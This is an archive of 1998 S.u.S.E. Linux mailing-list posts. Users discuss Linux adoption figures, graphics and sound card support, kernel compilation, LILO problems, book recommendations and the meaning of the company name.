Ciao,
        BB


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From mhtexcollins@ccms.net Fri Jun 19 02:20:29 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Thu, 18 Jun 1998 21:20:29 -0500
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        How do you approach the school or what kind of relationship do you ha=
ve to
have with the school.  What kind of school?  What is the Linux box going to d=
o?
Will the kids have access?
        Just a few questions as I am giving linux boxes to two of my kids soo=
n,
and have always been wanting to get it in the schools.
    You can Email privatly, if you think the group does not want to hear.

Anxiously waiting your reply.

Steven Udell wrote:

> Aaron Seelye wrote:
>
> > Christopher L Miller wrote:
> > >
> > > lets say this much, there was an estimated sale of around 6 million cop=
ies
> > > of linux in 1997, windows NT only sold 7 Million, so linux is catching =
up,
> >
> > this may be true, but i don't think it is a good comparison, as i have 4
> > linux cd's in my house, whereas the nt user will only have one.
> >
>
> With the exception of SuSE and RedHat  alot of Linux userswont have any =
more
> than 1 copy. Hey I also don't keep my old
> SuSE disks I give them to friends and even have given 1 to my
> school. (which I am installing tomarrow!!) they gave me a PII
> to work with (they gave me a 386/dx/33 before)
>
> So you keeping an archive of your 4 linux cds ?  =3D]
>
> Steve Udell
> hettar(a)teleport.com
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From deem@wdm.com Fri Jun 19 02:25:10 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 18:25:10 -0800
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Correct Fred,
And the Matrox Millenium G200 will an awsome card also.
With AccelX and my Matrox.....life is good.

-Dee

"Fred A. Miller"  wrote:
>=20
> Christopher L Miller wrote:
> >=20
> >         Actually I would disagree from experience,  matrox's Mellinum 1 w=
as
> > an incredible card, the mistique and Milluinum II both failed pretty bad,
> > Might I suggest a good ATI card.
>=20
> You might, but I wouldn't!  Matrox is anything but a failure!  It's
> supported well in Linux, and VERY quick.
>=20
> Fred
>=20
> --=20
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> Cornell Univ. Press Services
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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 19 02:49:18 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Book Recomendations?
Date: Thu, 18 Jun 1998 22:49:18 -0400
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Has anybody read _Inside Linux_?  (www.suse.com/Books/LSSC07.html)  I am
looking for a good book that is apropreate for the computer professional
who is seeking an overview of Linux at a reasonably sofisticated level.
I would also like to know if there is anything good online regarding
Linux theory.  I am particularly interested in how X-Windows works.

TIA,

Steve


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From rknebel@csrlink.net Fri Jun 19 03:03:29 1998
From: rknebel@csrlink.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] exmh
Date: Thu, 18 Jun 1998 22:03:29 -0500
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Hi,
Does anyone know if exmh comes with the 5.2 distribution.

Thanks Alot
Rick


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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 19 03:40:16 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Linux User Statistics
Date: Thu, 18 Jun 1998 23:40:16 -0400
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I have found that many computer professionals tend to use Linux at
home.  Most of the people I have spoken with at Netscape tech support
use Linux.  I have also learned that the folks at Godard Spaceflight
like Linux.  Today I was driving to work and saw a Linux bumper
sticker.  (Are you listening S.u.S.E)  I am curious to know how many
people use Linux.  Does anybody have statistics on this?  How fast is it
growing?

On a related note, I have found that products like the Netscape
Communicator are not fully functional on Linux.  For example, I was
using Netscape on windows NT and found a neat page that had really cool
mouseover Java Script.  This does not seem to work with my Linux version
of Netscape.   If any one else wants to see what I am talking about,
try:  http://www.nokia.com/6100launch=
/feat_ir.html>.  under NT when I
mouse over the parts of the phone the different text sections pop up
immediately.  In Linux I need to click on the parts of the phone.  I
find there are other features that don't exist under the Linux version
of Netscape.  It may be that these features don't exist on any Unix
versions.  It seems to me that if there is a growing Linux user
community it would be wise of companies such as Netscape to provide
better functionality than they do.  Any thoughts?

Steve


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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 19 03:40:20 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] What the heck does S.u.S.E. stand for?
Date: Thu, 18 Jun 1998 23:40:20 -0400
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  Any body?


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From mwagnon@ixpres.com Fri Jun 19 04:28:33 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Book Recomendations?
Date: Thu, 18 Jun 1998 21:28:33 -0700
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Oreilly has a multivolume series on the X-window system the titles I
found on their site follow, there may be more. Check them out at
http:/www.ora.com/ and look through their catalog.

   Volume 1: Xlib Programming Manual
   Volume 2: Xlib Reference Manual
   Volume 3M: X Window System User's Guide
   Volume 4M: X Toolkit Intrinsics Programming Manual
   Volume 5: X Toolkit Intrinsics Reference Manual
   Volume 6A: Motif Programming Manual
   Volume 6B: Motif Reference Manual
   Volume 8: X Window System Administrator's Guide
                          
Luck,

Mark


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Steven T. Hatton wrote:
> 
> Has anybody read _Inside Linux_?  (www.suse.com/Books/LSSC07.html)  I am
> looking for a good book that is apropreate for the computer professional
> who is seeking an overview of Linux at a reasonably sofisticated level.
> I would also like to know if there is anything good online regarding
> Linux theory.  I am particularly interested in how X-Windows works.
> 
> TIA,
> 
> Steve
> 
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From clm@hackers.the-core.net Fri Jun 19 04:58:43 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 00:58:43 -0400
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lets say this much, there was an estimated sale of around 6 million copies
of linux in 1997, windows NT only sold 7 Million, so linux is catching up,=20

as for the linux netscape, yea it has text overlay problems can't handle
javascript worth a monkey, but things will get better as more people
contribute.=20

linux is not really the luxury of windows something s are just better once
you learn to live with allot of beta software, be patient=20

out=20
Chris=20

EOF=20

______________+++=3D=20

At 11:40 PM 6/18/98 -0400, you wrote:
>
>I have found that many computer professionals tend to use Linux at
>home.  Most of the people I have spoken with at Netscape tech support
>use Linux.  I have also learned that the folks at Godard Spaceflight
>like Linux.  Today I was driving to work and saw a Linux bumper
>sticker.  (Are you listening S.u.S.E)  I am curious to know how many
>people use Linux.  Does anybody have statistics on this?  How fast is it
>growing?
>
>On a related note, I have found that products like the Netscape
>Communicator are not fully functional on Linux.  For example, I was
>using Netscape on windows NT and found a neat page that had really cool
>mouseover Java Script.  This does not seem to work with my Linux version
>of Netscape.   If any one else wants to see what I am talking about,
>try:  http://www.nokia.com/6100launc=
h/feat_ir.html>.  under NT when I
>mouse over the parts of the phone the different text sections pop up
>immediately.  In Linux I need to click on the parts of the phone.  I
>find there are other features that don't exist under the Linux version
>of Netscape.  It may be that these features don't exist on any Unix
>versions.  It seems to me that if there is a growing Linux user
>community it would be wise of companies such as Netscape to provide
>better functionality than they do.  Any thoughts?
>
>Steve
>
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From clm@hackers.the-core.net Fri Jun 19 05:02:11 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Book Recomendations?
Date: Fri, 19 Jun 1998 01:02:11 -0400
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check out linux in a nutshell not exactly what your looking for but really
really good it's made by O'relly, don't get one of them 900 page books they
tend to have allot of useless information

out=20
Chris=20

EOF

_______________

At 10:49 PM 6/18/98 -0400, you wrote:
>
>Has anybody read _Inside Linux_?  (www.suse.com/Books/LSSC07.html)  I am
>looking for a good book that is apropreate for the computer professional
>who is seeking an overview of Linux at a reasonably sofisticated level.
>I would also like to know if there is anything good online regarding
>Linux theory.  I am particularly interested in how X-Windows works.
>
>TIA,
>
>Steve
>
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From roberto@cbvcp.com Fri Jun 19 06:11:57 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Thu, 18 Jun 1998 23:11:57 -0700
Message-ID: <358A012D.81EF134B@cbvcp.com>
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Christopher L Miller wrote:
>=20
> lets say this much, there was an estimated sale of around 6 million copies
> of linux in 1997, windows NT only sold 7 Million, so linux is catching up,

this may be true, but i don't think it is a good comparison, as i have 4
linux cd's in my house, whereas the nt user will only have one.
=20
> as for the linux netscape, yea it has text overlay problems can't handle
> javascript worth a monkey, but things will get better as more people
> contribute.

yes, and the people who use linux are many times programmers
themselves.  add a free source and....
=20
> linux is not really the luxury of windows something s are just better once
> you learn to live with allot of beta software, be patient

I have found that even though the software is many times called "beta",
it still is much better than the products that are on the "other" os.=20
At KDE, for example, there is a listing of kde apps that are listed as
"unstable."  What I was told that this really means is "not proven to be
stable".  I believe that the linux programmers are much more careful
when programming, and i'm sure most do it by hand, rather than with a
gui.

just my take on it


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From fpawlak@execpc.com Fri Jun 19 06:56:51 1998
From: fpawlak@execpc.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 06:56:51 +0000
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Chris,

Where did you get these figures?  I am under the impression that the total
Linux user population is between 5 and 10 million.  It is hard to understand
that 6 million of that came on board in 1997 alone.   Thanks.

Frank

On Jun 19, 12:58am, Christopher L Miller wrote:
> Subject: Re: [S.u.S.E. Linux] Linux User Statistics
>
> lets say this much, there was an estimated sale of around 6 million copies
> of linux in 1997, windows NT only sold 7 Million, so linux is catching up,
>
> as for the linux netscape, yea it has text overlay problems can't handle
> javascript worth a monkey, but things will get better as more people
> contribute.
>
> linux is not really the luxury of windows something s are just better once
> you learn to live with allot of beta software, be patient
>
>
> out
> Chris
>
> EOF
>
> ______________+++=3D
>
> At 11:40 PM 6/18/98 -0400, you wrote:
> >
> >I have found that many computer professionals tend to use Linux at
> >home.  Most of the people I have spoken with at Netscape tech support
> >use Linux.  I have also learned that the folks at Godard Spaceflight
> >like Linux.  Today I was driving to work and saw a Linux bumper
> >sticker.  (Are you listening S.u.S.E)  I am curious to know how many
> >people use Linux.  Does anybody have statistics on this?  How fast is it
> >growing?
> >
> >On a related note, I have found that products like the Netscape
> >Communicator are not fully functional on Linux.  For example, I was
> >using Netscape on windows NT and found a neat page that had really cool
> >mouseover Java Script.  This does not seem to work with my Linux version
> >of Netscape.   If any one else wants to see what I am talking about,
> >try:  http://www.nokia.com/6100lau=
nch/feat_ir.html>.  under NT when I
> >mouse over the parts of the phone the different text sections pop up
> >immediately.  In Linux I need to click on the parts of the phone.  I
> >find there are other features that don't exist under the Linux version
> >of Netscape.  It may be that these features don't exist on any Unix
> >versions.  It seems to me that if there is a growing Linux user
> >community it would be wise of companies such as Netscape to provide
> >better functionality than they do.  Any thoughts?
> >
> >Steve
> >
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> >
> ___________________________________________________
>
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From hettar@teleport.com Fri Jun 19 07:10:29 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 00:10:29 -0700
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Aaron Seelye wrote:

> Christopher L Miller wrote:
> >
> > lets say this much, there was an estimated sale of around 6 million copies
> > of linux in 1997, windows NT only sold 7 Million, so linux is catching up,
>
> this may be true, but i don't think it is a good comparison, as i have 4
> linux cd's in my house, whereas the nt user will only have one.
>

With the exception of SuSE and RedHat  alot of Linux userswont have any mo=
re
than 1 copy. Hey I also don't keep my old
SuSE disks I give them to friends and even have given 1 to my
school. (which I am installing tomarrow!!) they gave me a PII
to work with (they gave me a 386/dx/33 before)

So you keeping an archive of your 4 linux cds ?  =3D]

Steve Udell
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From peter@datadok.no Fri Jun 19 07:49:51 1998
From: peter@datadok.no
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 08:49:51 +0100
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>With the exception of SuSE and RedHat  alot of Linux userswont have any
more
>than 1 copy. Hey I also don't keep my old
>SuSE disks I give them to friends and even have given 1 to my

I think giving away old linux CDs is fairly common practice. I've certainly
made it quite routine, meaning I've given away 2 slackwares and 3-4 redhats


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From weissel@jupiter.ph-cip.uni-koeln.de Fri Jun 19 08:43:30 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] oss
Date: Fri, 19 Jun 1998 10:43:30 +0200
Message-ID: <19980619104330.C29646@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, rgu(a)gate.net produced:
> 	If it is possible during install, how do I ensure that i) "the
> kernel is compiled with loadable module support" and ii) "the kernel must
> not have sound-driver compiled in"?

(I assume you have kernel sources on your HD)
as root do
        cd /usr/src/linux
        make menuconfig 

choose "Loadable module support"
    see that at least both of "Enable loadable module support" (the
    support) and "Kernel daemon support (e.g. autoload modules)" (so
    it's done automagically) are activated

back out to the main menuconfig menu again

choose "Sound"
    See that the line "Sound card support" looks like " Sound card
    support" (that means sound support will be compiled as a module)

That's it.
If you needed to change anything, recompile the kernel.

If you never before compiled the kernel, read the passage in the
handbook (SuSE 5.2, german: pages 213ff) on how to do it and stroll
through all the menues aviable in menuconfig, selecting and unselecting
things to match your needs and Computer. The "Help" will help you
tremendously with each item.

The commands to do the compile are basically 
        cd /usr/src/linux
        make dep 
        make clean 
        make zImage
        make modules
        make modules_install
and then you have to "make lilo" (but read the handbook first!) or copy
the new kernen to whereever your loadlin is, and do copy the System.map
to the right place.

-Wolfgang


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From striepe@neokom.geo.uni-bonn.de Fri Jun 19 08:47:22 1998
From: striepe@neokom.geo.uni-bonn.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] gcc version 2.7.2.1
Date: Fri, 19 Jun 1998 10:47:22 +0200
Message-ID: <199806190847.KAA10984@neokom.geo.uni-bonn.de>
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>=20
> > errno 11 from gcc when I try to compile my kernel.  It's fairly random wh=
en it=20
Please read this URL:
http://www.bitwizard.nl/sig11/>

I hope it helps.
arnulf


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From striepe@neokom.geo.uni-bonn.de Fri Jun 19 08:52:04 1998
From: striepe@neokom.geo.uni-bonn.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] HP 600 Djet + apsfilter - known problems?
Date: Fri, 19 Jun 1998 10:52:04 +0200
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Are there any known problems concerning
this combination and suse-linux probably 4.3
or older?

thanks 
arnulf

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From grimmer@suse.de Fri Jun 19 09:18:55 1998
From: grimmer@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What the heck does S.u.S.E. stand for?
Date: Fri, 19 Jun 1998 11:18:55 +0200
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Hi,

Steven T. Hatton wrote:
=20
>   Any body?

It means: "Gesellschaft f=C3=BCr Software und Systementwicklung mbH"

BTW: "Entwicklung" means "development" :-)

LenZ


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From nick@belam.gazinter.net Fri Jun 19 09:38:35 1998
From: nick@belam.gazinter.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI SOUND CARD ESS Maestro-1
Date: Fri, 19 Jun 1998 12:38:35 +0300
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World Leader Pretend  writes:

>>  Dear friends...
>>  Please talk me about Linux driver for PCI ESS Maestro-1
>>  sound card.
>>    Anybody knows? I'am looking for this driver(s).
>>                                                              Yours Nick.
>> Nick K. Kozubsky, Kaliningrad (Koenigsberg), West of Russia.
>> nick(a)belam.koenig.ru
>> nick(a)belam.gazinter.net

>Dear Nick,

>	I have a ess1868 audiodrive card ($20 here in the states) and I use the SB =
compatible driver under linux with the DMA set to 5 instead of 7 which I beli=
eve is it's default.  The other thing is that the card is pnp, so I had to pn=
pdump to find the basic setting of the card, uncomment out the first two sett=
ings, and isapnp /etc/isapnp.conf (with isapnp.conf begin the pnpdump results=
)...  It has been working ever since...  isapnp also recongized my pci pnp de=
vices...

>						Jonathan

>--=20
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          =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

>                           Jonathan Paul Cowherd
>                        jpcowh01(a)slug.louisville.edu
>                  http://www.slug.louisville=
.edu/~jpcowh01>

>This is my world and I am...                           World Leader Pretend
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                           =
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        Thank you for this present. 18 of june - it's my birthday.

                                            Nick K. Kozubsky
                                          nick(a)belam.koenig.ru
                                   Tel/FAX: +7 0112 350505 + voice 232

Rem:  No Microsoft products were used in the production of this message.

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From roberto@crcsoft.com Fri Jun 19 10:27:51 1998
From: roberto@crcsoft.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 12:27:51 +0200
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Hi,
    I have recently buy the S.U.S.E. Linux 5.2, I have installed it on my
computer.
    All right, X very good, system reliable.......

Now I have some problem to install an internet access to my provider and
netscape.
I am new in this word but I want to definitly terminate my WINDOWS usage.

If anyone can help my I will be very happy.

Thank's in advance.

Bye

Roberto


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From support-com@suse.de Fri Jun 19 10:33:57 1998
From: support-com@suse.de
To: users@lists.opensuse.org
Subject: Re: "[S.u.S.E. Linux] PPPD Deamon"
Date: Fri, 19 Jun 1998 12:33:57 +0200
Message-ID: <199806191033.MAA17458@Galois.suse.de>
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Dear S.u.S.E. Linux user,

This message was automatically generated to confirm receipt of your=20
support request concerning "[S.u.S.E. Linux] PPPD Deamon".

We will answer your request as quickly as possible. Please be patient
as this might take a few days.

Please have a look at our support database as well. It contains
detailed answers to many installation and configuration questions.=20

If you have internet access, you can consult the latest version at:

        http://www.suse.de/Support/sdb_=
e/index.html>     (English)
        http://www.suse.de/Support/sdb/inde=
x.html>       (German)

There is even a version of support database included in the 'sdb'
package on your CDs (packed just before release date). The
'susehilf' package must also be installed. Both are located in the
'doc' series on the CD-ROM. After installing, type 'susehelp'.

Should your problem get solved in the meantime, we would be grateful
if you could contact us, in order to minimize unnecessary work. If
you send us another support request, please mention this one, to help
us help you better.

If you have not yet sent in your customer registration card, please
do so. The registration card has printed on it the registration
code for your S.u.S.E. Linux. You can also register online at
http://www.suse.com/Customer/index.html>=
. Or you can register when
sending a support request by specifying your registration code,
your name and your address.

If you have already registered with us, please include the
registration code and, if known, your customer number with each
request.

Thank you,

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From misc.word.corp@pobox.com Fri Jun 19 11:26:23 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Fri, 19 Jun 1998 07:26:23 -0400
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Out of curiosity, has anyone compiled support for Voodoo 2? Is an X
server for the card included in the 5.2 CD-ROM set?

Are you satisfied with performance on games and the like?

-- Glenn --


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From hattons@CPKWEBSER5.ncr.disa.mil Fri Jun 19 12:07:53 1998
From: hattons@CPKWEBSER5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 08:07:53 -0400
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Steven Udell wrote:

> Hey I also don't keep my old
> SuSE disks I give them to friends. . .

Steve,

Exactly what I did when I received 5.2.  I gave it to a friend.  I tried to f=
ind
the person most likely to use it.

Steve


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From andre.esser@informatik.uni-oldenburg.de Fri Jun 19 12:36:14 1998
From: andre.esser@informatik.uni-oldenburg.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What the heck does S.u.S.E. stand for?
Date: Fri, 19 Jun 1998 14:36:14 +0200
Message-ID: <358A5B3E.89B5BF77@informatik.uni-oldenburg.de>
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Steven T. Hatton wrote:
> 
>   Any body?
> 

Gesellschaft für Software und Systementwicklung mbH

-> Company for Software and System Development Ltd  (sort of)

andre

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From clm@hackers.the-core.net Fri Jun 19 13:16:04 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 09:16:04 -0400
Message-ID: <2.2.32.19980619131604.006a2b3c@hackers.the-core.net>
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I believe that was on news.com or slash dot can't remember which.... linux
really picked up  around last september, when allot of the local stores
started carrying it

thats how many compies where bought, but who knows how many people gave up
with it "/=20

Chris=20

At 06:56 AM 6/19/98 +0000, you wrote:
>
>Chris,
>
>Where did you get these figures?  I am under the impression that the total
>Linux user population is between 5 and 10 million.  It is hard to understand
>that 6 million of that came on board in 1997 alone.   Thanks.
>
>Frank
>
>
>On Jun 19, 12:58am, Christopher L Miller wrote:
>> Subject: Re: [S.u.S.E. Linux] Linux User Statistics
>>
>> lets say this much, there was an estimated sale of around 6 million copies
>> of linux in 1997, windows NT only sold 7 Million, so linux is catching up,
>>
>> as for the linux netscape, yea it has text overlay problems can't handle
>> javascript worth a monkey, but things will get better as more people
>> contribute.
>>
>> linux is not really the luxury of windows something s are just better once
>> you learn to live with allot of beta software, be patient
>>
>>
>> out
>> Chris
>>
>> EOF
>>
>> ______________+++=3D
>>
>> At 11:40 PM 6/18/98 -0400, you wrote:
>> >
>> >I have found that many computer professionals tend to use Linux at
>> >home.  Most of the people I have spoken with at Netscape tech support
>> >use Linux.  I have also learned that the folks at Godard Spaceflight
>> >like Linux.  Today I was driving to work and saw a Linux bumper
>> >sticker.  (Are you listening S.u.S.E)  I am curious to know how many
>> >people use Linux.  Does anybody have statistics on this?  How fast is it
>> >growing?
>> >
>> >On a related note, I have found that products like the Netscape
>> >Communicator are not fully functional on Linux.  For example, I was
>> >using Netscape on windows NT and found a neat page that had really cool
>> >mouseover Java Script.  This does not seem to work with my Linux version
>> >of Netscape.   If any one else wants to see what I am talking about,
>> >try:  http://www.nokia.com/6100la=
unch/feat_ir.html>.  under NT when I
>> >mouse over the parts of the phone the different text sections pop up
>> >immediately.  In Linux I need to click on the parts of the phone.  I
>> >find there are other features that don't exist under the Linux version
>> >of Netscape.  It may be that these features don't exist on any Unix
>> >versions.  It seems to me that if there is a growing Linux user
>> >community it would be wise of companies such as Netscape to provide
>> >better functionality than they do.  Any thoughts?
>> >
>> >Steve
>> >
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>> >
>> ___________________________________________________
>>
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>> Unix system administration / security
>> http://hackers.the-core.net> "owner / founder"
>> clm(a)hackers.the-core.net
>> ____________________________________________________
>>
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>
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From hongfeng@public.wh.hb.cn Fri Jun 19 14:21:12 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 22:21:12 +0800
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Hi,

> Now I have some problem to install an internet access to my provider and
> netscape. I am new in this word but I want to definitly terminate my
> WINDOWS usage.
>

try the online help database at  http:/=
/www.suse.de/Support/sdb_e/index.html>

Best,
Frederic


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From satan@nfinity.com Fri Jun 19 15:50:54 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Fri, 19 Jun 1998 10:50:54 -0500
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For voodoo support, simply download the linux glide .tgz from
http://www=
.3dfx.com>, and compile from the sources on the SuSE cd
Mesa-2.6 (Mesa-3.0 is not yet suitable for quake/quake2). Read the
relevant docs and you'll find the card is supported quite well in
linux.  The voodoo2 does not at this time have support from 3dfx,
however there is an unsupported patch on the web at
http://pama.it.dtu.dk/Voodoo2/>.  I get 1/2 fps better per=
formance in
linux GLquake, quite amazing for a game developed for another platform
and a testament to our beloved os'es superiority.  Make sure you add the
line "export SST_GRXCLK=3D57" to your etc/profile if you're a bash user.=20
That is the win95 default clockspeed for the card, but in linux the
default is 50.  It makes about 5 fps difference in performance.

misc.word.corp wrote:
>=20
> Out of curiosity, has anyone compiled support for Voodoo 2? Is an X
> server for the card included in the 5.2 CD-ROM set?
>=20
> Are you satisfied with performance on games and the like?
>=20
> -- Glenn --
>

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From satan@nfinity.com Fri Jun 19 15:57:42 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 10:57:42 -0500
Message-ID: <358A8A76.62F79A2E@nfinity.com>
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I used to be an op on #linux on 3dnet, and I would say that the
attrition rate amongst new users is high.  
On an unrelated note, guys, can we try to mix in the odd edit?  It isn't
really necessary to quote the entire thread when responding to the list.

Christopher L Miller wrote:

> thats how many compies where bought, but who knows how many people gave up
> with it "/

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From hattons@CPKWEBSER5.ncr.disa.mil Fri Jun 19 16:26:38 1998
From: hattons@CPKWEBSER5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X Download Dialog Box Stinks.
Date: Fri, 19 Jun 1998 12:26:38 -0400
Message-ID: <358A913D.6D39D339@cpkwebser5.ncr.disa.mil>
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Wolfgang Weisselberg wrote:

> Hi!
>
> Aehm, WHICH 'dialog box for file manipulation' ? I use the bash (and
> fvwm2). If I want to create a directory, for example, I type mkdir
> directory.
>

Yea, I can open a terminal window and create the directory that way, and
then refresh the dialog box.  I find this inconvenient.

> So I think you are talking about some other windowmanager (kdm comes
> to mind) or a 'norton commander' clone (there are half a dozen on the
> SuSE 5.2 CD's IIRC.

What I am talking about is the box that pops up when I try to download a
file in Netscape, for example.  You can get this dialog box by going to any
web page and clicking "file|save as".  This is the same under openwin, cde,
and kde.  I believe it is also the same under fvwm.

> UNIX per se is not graphical (which is a big plus, as you can slap on
> different graphics servers, like the different X11 Servers aviable, and
> on top of these (but independent from them, as long as it's X11) many
> many different window managers, like enlightenment, fvwm, twm, CDE,
> kdm, .......). So please don't say Unix when you blame something else.

Perhaps this feature is something common to Motif or OpenLook.  As I say, I
am not an expert.  I am sure that things don't need to be the way they
are.  I am just wondering why they are this way.

>

>

> .
>
> > right-clicking like you can in 95/NT.  I have
> > found that StarOffice does have this right-click
> > feature, so I know that it can be done in Unix.
>
> Sure it can be done. Almost everything that can be done as a GUI in
> WinXX can be done under Unix, it's a question of writing the program
> (parts), and of wanting to do it the WinXX way - often there are better
> ways.
>
> > Since the dialog box that I am referring to seems
> > to exist on every Unix GUI that I have worked
> > with, I assume it is something basic to the way X
> > works.
>
> nope.
>
> X is just the 'graphics card' to your window manager. If you run
> Windows everywhere, it'll look the same everywhere, but that won't mean
> that you could not put other pictures on your monitor.
> And I never ever saw these boxes.
>

Well I guess I meant Motif of OpenLook.

> I presume you were using always the same window manager/program/
> whatever with mostly the same configurations (especially if it's a WM).
>

See above.

> -Wolfgang

Steve


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From rkeeley@dibbs.net Fri Jun 19 16:39:55 1998
From: rkeeley@dibbs.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 11:39:55 -0500
Message-ID: <358A945A.445D8DC3@dibbs.net>
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I tried going to the site, and Netscape loaded everything fine. It was
very slow however, Netscape is always slow it seems. I had troubles loading
Netscape off the CD (I was a beginner then) so I went and got Netscape
from their Home Page and used their instuctions and everything worked fine,
altho' it took me a week to get my mail from my ISP because I didn't have
everything just right.

Steven T. Hatton wrote:

I have found that many computer professionals tend
to use Linux at

home.  Most of the people I have spoken with at Netscape tech
support

use Linux.  I have also learned that the folks at Godard Spaceflight

like Linux.  Today I was driving to work and saw a Linux bumper

sticker.  (Are you listening S.u.S.E)  I am curious to know
how many

people use Linux.  Does anybody have statistics on this?=20
How fast is it

growing?

On a related note, I have found that products like the Netscape

Communicator are not fully functional on Linux.  For example,
I was

using Netscape on windows NT and found a neat page that had really
cool

mouseover Java Script.  This does not seem to work with my Linux
version

of Netscape.   If any one else wants to see what I am talking
about,

try:  http://www.nokia.com/6100la=
unch/feat_ir.html>.=20
under NT when I

mouse over the parts of the phone the different text sections pop up

immediately.  In Linux I need to click on the parts of the phone.=20
I

find there are other features that don't exist under the Linux version

of Netscape.  It may be that these features don't exist on any
Unix

versions.  It seems to me that if there is a growing Linux user

community it would be wise of companies such as Netscape to provide

better functionality than they do.  Any thoughts?

Steve

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Roy

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snail mail=3D Roy Keeley, 10675 Salt Aire Rd,E.,Theodore,AL 36582, USA
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From northsky@ix.netcom.com Fri Jun 19 16:59:17 1998
From: northsky@ix.netcom.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux User Statistics
Date: Fri, 19 Jun 1998 12:59:17 -0400
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On Fri, 19 Jun 1998, Christopher L Miller wrote:

> 
> 
> I believe that was on news.com or slash dot can't remember which.... linux
> really picked up  around last september, when allot of the local stores
> started carrying it
> 
Also, Linux was the only OS that gained any market share last year (so I
guess all the other ones either lost, or borke even)


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From northsky@ix.netcom.com Fri Jun 19 17:06:28 1998
From: northsky@ix.netcom.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE LILO Difficulties
Date: Fri, 19 Jun 1998 13:06:28 -0400
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I just got a copy of SuSE and I must admit it is very good. Couldn't get
suseppp to work, so I finally forced myself into giving up and just
manually doing ppp with SuSE's little add-on dialog-box thing (via YaST).
The real problem I've been having though, is that even if I use the exact
same version and configuration for LILO as I did to do LILO under
Slackware, it works under Slackware and not SuSE. Odd, considering, the
exact same file lilo.conf just copied over. If I use linear (under SuSE) 
it just gives me an L on boot, if not, LI. I have read through LILO
documentation, know what these messages mean, and am still confounded
because I just can't get it working!


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From hekate@intergate.bc.ca Fri Jun 19 17:23:39 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Help to install INTERNET...
Date: Fri, 19 Jun 1998 10:23:39 -0700
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Probably start off with some specific questions if you've tried and had
problems. 

On Fri, 19 Jun 1998, Roberto wrote:

> 
> Hi,
>     I have recently buy the S.U.S.E. Linux 5.2, I have installed it on my
> computer.
>     All right, X very good, system reliable.......
> 
> Now I have some problem to install an internet access to my provider and
> netscape.
> I am new in this word but I want to definitly terminate my WINDOWS usage.
> 
> If anyone can help my I will be very happy.
> 
> Thank's in advance.
> 
> Bye
> 
> 
> Roberto
> 
> 
> 
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From hlarons@ComCAT.COM Fri Jun 19 17:59:41 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Offline: Continued
Date: Fri, 19 Jun 1998 13:59:41 -0400
Message-ID: <358AA70C.DA35B2@mail.comcat.com>
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Juergen Braukmann wrote:
> 
> Howard Arons wrote:
> >

[snip] 

>> I can now compose _new_ messages
> > while offline. However, attempting to _reply_ to an existing message
> > still causes a hang.

[snip] 

> a workaround could be to use a caching nameserver (i start with -q
> option to log requested ip's in messages) and see what happens.
> 
